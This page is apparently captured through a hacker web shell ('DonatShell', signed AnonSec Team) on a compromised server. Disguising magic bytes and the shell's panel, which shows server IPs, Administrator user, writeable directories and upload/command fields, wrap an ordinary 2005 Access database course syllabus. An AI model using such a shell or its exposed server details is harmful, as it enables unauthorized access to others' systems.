GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/_Archive/CST1601/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/_Archive/CST1601/CST1601-Syllabus.htm
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">


<html>
<head>
  <title>CST1601-Syllabus</title>
<style type="text/css">
td {
	vertical-align:top;
}
td.number {
	text-align:right;
}
th {
	text-align:left;
	vertical-align:top;
}
li {
	vertical-align:top;
}
li.instruction {
	margin: 5px 0px 0px 0px;
}
</style>


</head>
<body bgcolor="LemonChiffon" text="Black" link="Blue" vlink="Blue" alink="Red">
<div align="center">

  <table border="0" cellpadding="0" cellspacing="0" width="100%">
    <tr><td align="left"><font size="-1"><b>CST1601-Syllabus&nbsp;</b></font></td><td align="right"><font size="-1"><b>&nbsp;2005.01.14</b></font></td></tr>
</table>
<div>
<h1>CST1601
<br>
Database Programming
<br>
Syllabus</h1>
</div>
<div>
<!-- MetaLanguage3 ! -->
<!-- Syllabus ! -->







<div>
<table><tr><td>
<font color="Navy"><h3><b>Description: </b></h3></font>
This course covers database programming and relational databases using a case-based, problem-solving approach. Microsoft Access is the database studied. 
The use of tables, queries, forms, reports, advanced queries, macros, Visual Basic, and wizards are covered.
Network administrators and computer support technicians and are given the skills they need to begin designing, creating, and maintaining databases.
This is done through the use of textbook study, hands-on structured labs, and 15 hours of general lab work assigned by the instructor.
<br>

(Prerequisites: CST1001) (2 Credits) (1 Lecture, 1 Lab, 0 On the Job Training)
</td></tr></table>


<div>
<table><tr><td>
<font color="Navy"><h3><b>Content goal: </b></h3></font>
This course focuses on database programming in a hands-on lab setting.
Material is presented in a personalized manner through the use of a textbook, software, computers, lab work, and an instructional guide.
</td></tr></table>


<div>
<table><tr><td>
<font color="Navy"><h3><b>Objectives: </b></h3></font>
<ol>

	<!-- Initial Paper ! -->
	  <li> <a href="CST1601-InitialPaper.htm"><font color="Green">Describe yourself, your goals, and how you will use what you learned from this course</font></a>.
	  <li> <a href="CST1601-InitialPaper.htm"><font color="Green">Describe your expected course outcomes and why you took this course</font></a>.
	<br>
<br>

	<!-- Level I ! -->
	<!-- Tutorial01 3 ! -->
	  <li> <a href="Module-Access2003-Tutorial01.htm"><font color="Green">Define field, record, table, relational database, primary key, and foreign key</font></a>.
	  <li> <a href="Module-Access2003-Tutorial01.htm"><font color="Green">Open a database and identify the components of the Access and Database windows</font></a>.
	  <li> <a href="Module-Access2003-Tutorial01.htm"><font color="Green">Open and navigate tables</font></a>.
	  <li> <a href="Module-Access2003-Tutorial01.htm"><font color="Green">Describe how Access saves a database</font></a>.
	  <li> <a href="Module-Access2003-Tutorial01.htm"><font color="Green">Open, navigate, create and sort queries</font></a>.
	  <li> <a href="Module-Access2003-Tutorial01.htm"><font color="Green">Create, preview and navigate a forms and reports</font></a>.
	<!-- Tutorial02 9 ! -->
	  <li> <a href="Module-Access2003-Tutorial02.htm"><font color="Green">Define database design</font></a>.
	  <li> <a href="Module-Access2003-Tutorial02.htm"><font color="Green">Design, create, and modify tables</font></a>.
	  <li> <a href="Module-Access2003-Tutorial02.htm"><font color="Green">Manage and import table data</font></a>.
	<!-- Tutorial03 12 ! -->
	  <li> <a href="Module-Access2003-Tutorial03.htm"><font color="Green">Create and use queries</font></a>.
	  <li> <a href="Module-Access2003-Tutorial03.htm"><font color="Green">Define table relationships</font></a>.
	  <li> <a href="Module-Access2003-Tutorial03.htm"><font color="Green">Sort data, define record selection criteria, and perform calculations using queries</font></a>.
	<!-- Tutorial04 15 ! -->
	  <li> <a href="Module-Access2003-Tutorial04.htm"><font color="Green">Create and use forms</font></a>.
	  <li> <a href="Module-Access2003-Tutorial04.htm"><font color="Green">Define form data, record selection, and manage table data using forms</font></a>.
	  <li> <a href="Module-Access2003-Tutorial04.htm"><font color="Green">Use sub-forms</font></a>.
	  <li> <a href="Module-Access2003-Tutorial04.htm"><font color="Green">Create and use reports and define report data and record selection</font></a>.
	<!-- Lab1 ! -->
		<br>
<br>

	<!-- Level II ! -->
	<!-- Tutorial05 19 ! -->
	  <li> <a href="Module-Access2003-Tutorial05.htm"><font color="Green">Modify table designs and use subdatasheets</font></a>.
	  <li> <a href="Module-Access2003-Tutorial05.htm"><font color="Green">Use Like, In, And, Not, and Or operators in queries</font></a>.
	  <li> <a href="Module-Access2003-Tutorial05.htm"><font color="Green">User parameters in queries and use crosstab, find duplicates, and find unmatched queries</font></a>.
	<!-- Tutorial06 22 ! -->
	  <li> <a href="Module-Access2003-Tutorial06.htm"><font color="Green">Design and create custom forms</font></a>.
	  <li> <a href="Module-Access2003-Tutorial06.htm"><font color="Green">View and print database documentation</font></a>.
	  <li> <a href="Module-Access2003-Tutorial06.htm"><font color="Green">Use controls and add headers, footers, and pictures to forms</font></a>.
	  <li> <a href="Module-Access2003-Tutorial06.htm"><font color="Green">Use subforms, change the tab order, and filter data in forms</font></a>.
	<!-- Tutorial07 26 ! -->
	  <li> <a href="Module-Access2003-Tutorial07.htm"><font color="Green">Design and create custom reports, use controls in reports, and use subreports</font></a>.
	  <li> <a href="Module-Access2003-Tutorial07.htm"><font color="Green">Use conditional formatting, domain aggregate functions, and page formatting in reports</font></a>.
	<!-- Tutorial08 28 ! -->
	  <li> <a href="Module-Access2003-Tutorial08.htm"><font color="Green">Export table data to html documents and use html documents to view table data</font></a>.
	  <li> <a href="Module-Access2003-Tutorial08.htm"><font color="Green">Create and use data access pages and use data access pages to modify table data</font></a>.
	  <li> <a href="Module-Access2003-Tutorial08.htm"><font color="Green">Use PivotTables, PivotCharts, XML, and Excel with Access</font></a>.
	<!-- Lab2 ! -->
		<br>
<br>

	<!-- Lab3 ! -->
	<!-- Level III ! -->
	<!-- Tutorial09 31! -->
	  <li> <a href="Module-Access2003-Tutorial09.htm"><font color="Green">Create and use action queries</font></a>.
	  <li> <a href="Module-Access2003-Tutorial09.htm"><font color="Green">Define table relationships and create table indexes</font></a>.
	  <li> <a href="Module-Access2003-Tutorial09.htm"><font color="Green">Join tables</font></a>.
	<!-- Tutorial10 34! -->
	  <li> <a href="Module-Access2003-Tutorial10.htm"><font color="Green">Design and use graphical user interface objects</font></a>.
	  <li> <a href="Module-Access2003-Tutorial10.htm"><font color="Green">Create and use macros, form buttons, controls, and dialog boxes</font></a>.
	  <li> <a href="Module-Access2003-Tutorial09.htm"><font color="Green">Use the Switchboard Manager</font></a>.
	<!-- Tutorial11 37! -->
	  <li> <a href="Module-Access2003-Tutorial11.htm"><font color="Green">Use function procedures, sub-procedures, subroutines, and modules</font></a>.
	  <li> <a href="Module-Access2003-Tutorial11.htm"><font color="Green">Create and use functions, subroutines, and event procedures</font></a>.
	<!-- Lab4 ! -->
		<br>
<br>

	<!-- Tutorial12 39 ! -->
	  <li> <a href="Module-Access2003-Tutorial12.htm"><font color="Green">Analyze database performance</font></a>.
	  <li> <a href="Module-Access2003-Tutorial12.htm"><font color="Green">Link database tables between databases</font></a>.
	  <li> <a href="Module-Access2003-Tutorial12.htm"><font color="Green">Use database replication, synchronization, and startup options</font></a>.
	  <li> <a href="Module-Access2003-Tutorial12.htm"><font color="Green">Secure a database using encryption and passwords and assign user permissions</font></a>.
	<!-- Lab5 ! -->
		<br>
<br>

	<!-- Final Paper 48 ! -->
	  <li> <a href="CST1601-FinalPaper.htm"><font color="Green">Describe how this class helped you with your goals and how you will use what you learned from this course</font></a>.
	  <li> <a href="CST1601-FinalPaper.htm"><font color="Green">Describe how this course did not meet your goals and how this course could be improved</font></a>.
 </ol>
</td></tr></table>
		

<div>
<table><tr><td>
<font color="Navy"><h3><b>References and Resources: </b></h3></font>
<ol>
 <li> <table border="0" cellspacing="0" cellpadding="0"><tr valign="bottom"><td><table border="0" frame="void" cellpading="0" cellspacing="0">
  <tr valign="bottom">
    
    <td>
      <i>New Perspectives Microsoft Access 2003 Comprehensive</i><br>
      
      Joseph J. Adamski and Kathleen T. Finnegan<br>
      Thomson Course Technology ©2004<br>
      ISBN: 0-619-20672-1<br>
    </td>
  </tr>
</table>
</td><td>(Student supplied textbook)</td></tr></table>
  <li> Microsoft Access 2003 Software (Installed on leased laptop or student supplied) 
  <li> Computer system with OS (Student supplied equipment)
  <li> Course <a href="CST1601-InstructionalGuide.htm">Instructional Guide</a> (School supplied download)
  <li> <a href="CST1601-StudentDataFiles.htm">Student Data Files</a> (School supplied download).
 </ol>
</td></tr></table>


<div>
<table><tr><td>
<font color="Navy"><h3><b>Requirements: </b></h3></font>
An average student will spend
96 hours performing course tasks: 
48 lab hours working on assigned tasks in the lab, and
48 hours out-of-class.
Factual information is provided through informal presentation or in a personalized format.
The student is expected to contact the instructor if difficulty is encountered or help is needed.
Attendance is critical for completion of the lab credits.
</td></tr></table>


<div>
<table><tr><td>
<font color="Navy"><h3><b>Grading: </b></h3></font>
Student objectives and evaluations are translated to a percentage and the percentages to grades.
A score of 70% is passing.
The following percentage distribution guarantees the following grade:
A:93%+, A-:90%+, B+:87%+, B:83%+, B-:80%+, C+:77%+, C:73%+, C-:70%+, F:<70%.
</td></tr></table>


<div>
<table><tr><td>
<font color="Navy"><h3><b>Schedule: </b></h3></font>
The course is divided into
20 Modules.
Each Module requires 
3 to 
7 hours of work for the average student.
The course is designed to be completed in 
2 weeks of personalized education or 
16 weeks of class lecture and labs.
</td></tr></table>


<br>
<br>

<div align="center">

<div>
<table border=1><tr><td>
If you have a disability and wish to request accommodations or a different instructional<br>

format such as large print, Braille, or audio tape, call V/TTY 587-3636 Extension 239.<br>

Please allow a minimum of six weeks for the college to respond.<br>

</td></tr></table></div>


<div>

Return to the <a href="CST1601-InstructionalGuide.htm">Instructional Guide</a>.


<div>
<table><tr valign="top"><td>
<font color="Navy"><h3><b>Version Information: </b></h3></font>
<table>
<tr><td>2003.00.05</td><td>Updates for Initial Paper.</td><td>jfm</td></tr>
<tr><td>2005.01.14</td><td>First Syllabus created.</td><td>jfm</td></tr>
</table>
</td></tr></table>

<br>
<br>
<br>
<br>


<div align="center">
<div>
Author: <a href="../../Instructors/?Author=jfm">Jim Martinson</a>
<div>

  <table border="0" cellpadding="0" cellspacing="0" width="100%">
    <tr><td align="left"><font size="-1"><b>CST1601-Syllabus&nbsp;</b></font></td><td align="right"><font size="-1"><b>&nbsp;2005.01.14</b></font></td></tr>
</table>
</div>

</body>
</html>

Anon7 - 2022
AnonSec Team